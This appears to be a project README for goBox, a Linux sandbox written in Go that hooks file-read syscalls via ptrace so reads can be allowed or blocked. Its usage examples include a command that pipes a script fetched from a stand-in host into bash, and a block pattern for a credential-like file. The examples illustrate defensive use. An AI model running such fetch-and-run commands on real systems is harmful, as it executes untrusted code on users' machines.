goBox - GO Sandbox To Run Untrusted Code

goBox – GO Sandbox To Run Untrusted Code

GO sandbox to run untrusted code.

goBox uses Ptrace to hook into READ syscalls, giving you the option to accept or deny syscalls before they are executed.


Usage of ./gobox:

gobox [FLAGS] command

-h Print Usage.
-n value
A glob pattern for automatically blocking file reads.
-y value
A glob pattern for automatically allowing file reads.

Use cases

You want to install anything

> gobox -n "/etc/password.txt" npm install sketchy-module

BLOCKED READ on /etc/password.txt
> gobox -n "/etc/password.txt" bash <(curl  https://danger.zone/install.sh)

BLOCKED READ on /etc/password.txt

You are interested in what file reads you favourite program makes.
Sure you could use strace, but it references file descriptors goBox makes the this much easier at a glance by printing the absolute path of the fd.

> gobox ls
Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]

NOTE: It’s definitely a better idea to encrypt all your sensitive data, goBox should probably only be used when that is inconvenient or impractical.
NOTE: I haven’t made any effort for cross-x compatibility so it currently only works on linux. I’d happily accept patches to improve portability.

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